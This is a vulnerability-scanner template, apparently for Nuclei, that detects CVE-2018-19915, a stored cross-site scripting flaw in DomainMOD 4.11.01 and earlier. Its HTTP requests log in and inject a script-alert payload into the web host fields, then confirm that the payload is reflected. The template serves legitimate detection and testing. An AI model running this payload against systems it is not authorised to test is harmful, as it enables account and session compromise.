id: CVE-2018-19915

info:
  name: DomainMOD <=4.11.01 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    DomainMOD through version 4.11.01 is vulnerable to cross-site scripting via the assets/edit/host.php Web Host Name or Web Host URL field.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of DomainMOD (>=4.11.02) to mitigate this vulnerability.
  reference:
    - https://github.com/domainmod/domainmod/issues/87
    - https://www.exploit-db.com/exploits/46376/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-19915
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2018-19915
    cwe-id: CWE-79
    epss-score: 0.00392
    epss-percentile: 0.59548
    cpe: cpe:2.3:a:domainmod:domainmod:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: domainmod
    product: domainmod
  tags: cve,cve2018,domainmod,xss,authenticated,edb

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        new_username={{username}}&new_password={{password}}
      - |
        POST /assets/add/host.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        new_host=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&new_url=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&new_notes=test
      - |
        GET /assets/hosting.php HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(header_3, "text/html")'
          - 'contains(body_3, "><script>alert(document.domain)</script></a>")'
        condition: and
# digest: 4b0a00483046022100b4199984d59d87cc482b378d29542763d66a4a51693769de193bc1b05e6e6cf9022100cdf130f901688bb50e97ff94161bd714cf6a8ec04fd5b259d827b1b13185baac:922c64590222798bb761d5b6d8e72950